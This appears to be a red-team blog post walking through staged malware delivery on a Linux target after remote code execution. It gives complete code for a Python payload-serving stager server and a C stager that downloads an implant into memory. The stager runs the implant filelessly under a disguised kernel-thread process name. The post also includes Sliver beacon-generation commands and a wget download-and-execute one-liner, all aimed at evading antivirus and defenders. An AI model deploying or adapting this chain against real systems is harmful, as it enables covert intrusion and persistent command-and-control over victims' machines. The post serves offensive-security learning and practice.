Post Exploitation Journey 1 - Establishing Staged Payload Delivery

I've done a lot of CTF's, which have certainly exposed me to a lot of attacking techniques out there. These challenges miss the whole endgame though, which is how an attacker operates AFTER an initial breach. In CTF's we're really noisy - we just stabilize the shell, get root and leave. What I'm going to do in this series is learn what an attacker would really be doing after they find an RCE on a web service. I'll start working these techniques into my CTF's to practice them as to sharpen my red teamer abilities.

High Level

Here's what I have been doing in general after finding an RCE on a box: 1 This makes sense because in a Capture the Fag we have zero risk of detection and zero impact of being detected, therefore we just get in and get out as quickly as we can. In a real world situation, this has some massive pitfalls.

  1. We're leaving footprints everywhere, and not cleaning up after ourselves. It's going to be trivial for a blue team to see what we've done and reverse any damage we may have caused.
  2. We're not gaining persistence, if the way we got in is patched we can never get in again!
  3. We're not patching our way in, so others will be able to access the system reducing the value of our work or even worse attacking us too.
  4. We're operating entirely over a tcp tunnel: this is very noisy and easily detected by blueteams. What we're instead going to do through this series is: 2

What We're going to do

In this post, I'm going to show you how to establish a Command and control client onto an linux target with some degree of stealth. There are some concepts to cover before I dive into the meat of this, if you want to skip the learning part and just get to the practical, feel free to skip ahead. Command and Control: You've probably heard this term in reference to Botnet's which is a great example of how this is used. There is a server (or multiple, or a peer to peer network) and clients. The system is simply enabling you to send commands from the server to a network of clients. All the other features are either for evading detection, entrenching yourself onto the target or avoiding your server from being disabled. We're going to use open source C&C frameworks to streamline our operations, it'll make establishing persistence and cleaning up our tracks a lot easier. Staged Malware: If you've followed my blog at all, you've seen plenty of malware get delivered to a target. This is a fairly straight-forward process: 3 With this method our payload is written to the host disk, which is easily detected by Anti-virus and it makes the blue team's task of understanding what we've done trivial. What we'd really like to do, is instead use staged malware: 4 Stager: Lightweight payload that is executed via whatever exploit is found on the target. Should be as light and stealthy as possible: it just does two things - download the dropper and execute the dropper. Dropper: Heavier payload executed by the Stager, this does things like installs the C&C Agent, creates persistence, gathers loot and so on.

Setup

For our test environment, we'll need the following tools installed:

Architecture

I find it helpful to look at a diagram of what I'll be building before diving into something, so here is the end result of what we'll be building today:

+-----------+                     +---------+                           
| Attacker  |                     | Target  |                           
+-----------+                     +---------+                           
      |                                |                                
      | Bring Up Sliver Server         |                                
      |-----------------------         |                                
      |                      |         |                                
      |<----------------------         |                                
      |                                |                                
      | Compile mtls Implant           |                                
      |---------------------           |                                
      |                    |           |                                
      |<--------------------           |                                
      |                                |                                
      | Compile Stager Client          |                                
      |----------------------          |                                
      |                     |          |                                
      |<---------------------          |                                
      |                                |                                
      | Bring Up Stager Server         |                                
      |-----------------------         |                                
      |                      |         |                                
      |<----------------------         |                                
      |                                |                                
      | Remote Code Execution          |                                
      |------------------------------->|                                
      |                                |                                
      |         Download Stager Client |                                
      |<-------------------------------|                                
      |                                |                                
      |      Stager Connects to Server |                                
      |<-------------------------------|                                
      |                                |                                
      | Deliver mtls Implant           |                                
      |------------------------------->|                                
      |                                |                                
      |                                | Execute mtls Implant in memory 
      |                                |------------------------------- 
      |                                |                              | 
      |                                |<------------------------------ 
      |                                |                                
      |        Establish C2 Connection |                                
      |<-------------------------------|                                
      |                                |

Staging

The most common scenario I find myself in is I've found an RCE and I can trigger a reverse shell, on a linux system. So I'm going to write a stager for this use-case. I want it to:

  • Use the metasploit stager protocol
  • Write the payload only in memory, execute from memory
  • Be reasonably small
  • Have a paired server-side to deliver variable payloads easily This is what I came up with!
Server
#!/bin/python
##################################################
## Simple script to send a given file over a tcp
## socket after receiving a connection on the
## given ip and port.
##
##  Usage: 
##      ./stage_server.py "127.0.0.1" 1111 /payload
##
##################################################
## Author: SalmonSec
## Credits: 0x00sec.org
##################################################
import socket
from ctypes import *
import sys
import os
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((sys.argv[1], int(sys.argv[2])))
server.listen(1)
size = bytes(c_int(os.stat(sys.argv[3]).st_size))
print("[Stage Listener] Started")
i = 0
while True:
	conn, addr = server.accept()
	print(f"[{i} {addr[0]}:{addr[1]}] New Connection")
	print(f"[{i} {addr[0]}:{addr[1]}] Sending size -> {size}")
	conn.send(size)
	print(f"[{i} {addr[0]}:{addr[1]}] Sending Payload")
	f = open(sys.argv[3], "rb")
	d = f.read(1024)
	while d:
		conn.send(d)
		d = f.read(1024)
	f.close()
	conn.close()
	print(f"[{i} {addr[0]}:{addr[1]}] Delivery Complete")
	i += 1
Client

This is a slightly modified version of 0x00sec's Stealthy Dropper. You must change addr to match the IP and port the target should reach the server on.

#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define __NR_memfd_create 319
#define MFD_CLOEXEC 1
static inline int memfd_create(const char *name, unsigned int flags) {
    return syscall(__NR_memfd_create, name, flags);
}
extern char        **environ;
int main (int argc, char **argv) {
  int                fd, s, l, fs;
  // 01 00 00 7f == 1. 0. 0.127 IP
  // 11 11 == Port 4369
  // 02 02 == Family (TCP)
  unsigned long      addr = 0x0100007f11110002;
  char               *args[2]= {"[kworker/u!0]", NULL};
  char               buf[1024];
  // Connect
  if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) exit (1);
  if (connect (s, (struct sockaddr*)&addr, 16) < 0) exit (2);
  if ((fd = memfd_create("a", MFD_CLOEXEC)) < 0) exit (3);
  if (read(s, (char *)&fs, 4) < 0) exit (4);
  while (fs >= 0) {
    if (fs >= 1024) {
      read(s, buf, 1024);
      write(fd, buf, 1024);
    } else {
      read(s, buf, fs);
      write(fd, buf, fs);
    }
    fs -= 1024;
  }
  close (s);
  if (fexecve (fd, args, environ) < 0) exit (5);
  return 0;
}

Compile it with gcc

gcc -o c client.c

Sliver

Sliver is a Command and Control framework written in Golang with a huge set of wonderful features for an open source, public solution. We're going to be using Sliver as our red team framework of choice! We're going to want to create a Beacon Implant. This will create a stealthy agent on the host which checks the C2 server on an interval to look for commands to execute. You can of course request a full interactive session on the host too. Here's high level architecture of Sliver:

             In         ┌───────────────┐ C2
┌─────────┐  Memory     │               │ Protocol ┌─────────┐
│ Server  ├────────────►│ Sliver Server ├─────────►│ Implant │
│ Console │             │               │          └─────────┘
└─────────┘             └───────────────┘
                               ▲
                               │
                               │gRPC/mTLS
                               │
                          ┌────┴────┐
                          │ Sliver  │
                          │ Client  │
                          └─────────┘

For our setup, we're going to be running the server on our own host, but in a red team operation you would want to deploy this somewhere externally. Boot up Sliver: 6 Create an implant for your target OS (I'm only writing about Linux here, but Windows is better supported!):

generate beacon --os linux --mtls 0.0.0.0:8888 --save ~/scripts/post/payloads/linux-beacon-mtls

7 Now create a listener for this implant. We specified mtls with default values so we can simply run mtls 8

Test

Start a simple HTTP Server to serve the stager binary:

cd ~/scripts/post
python -m http.server

9 Start the Python stager server:

./stage_server.py "127.0.0.1" 4369 ./payloads/linux-beacon-mtls

10 Start a Container to treat as our target. We install wget so we can download our stager client, but this would likely be injected in a much different way during a real attack.

podman run -it --network=host --rm ubuntu /bin/sh -c "apt update && apt install -y wget && bash"

11 Finally, we can download and execute our stager binary to complete the attack. On the ubuntu container:

wget localhost:8000/c && chmod +x c && ./c

12 13 As you can see, we now have a beacon installed and running on the container, completing our staged payload delivery technique! We can now avail of all the amazing post exploitation features of Sliver to preform our red team operations on this target. We'll expand on this method in the next blog by delivering a more complex stage 2 payload.

References

Bugs to Fix

  • Statically link the compilation (-static)
  • bash: [175408: 3 (255)] tcsetattr: Inappropriate ioctl for device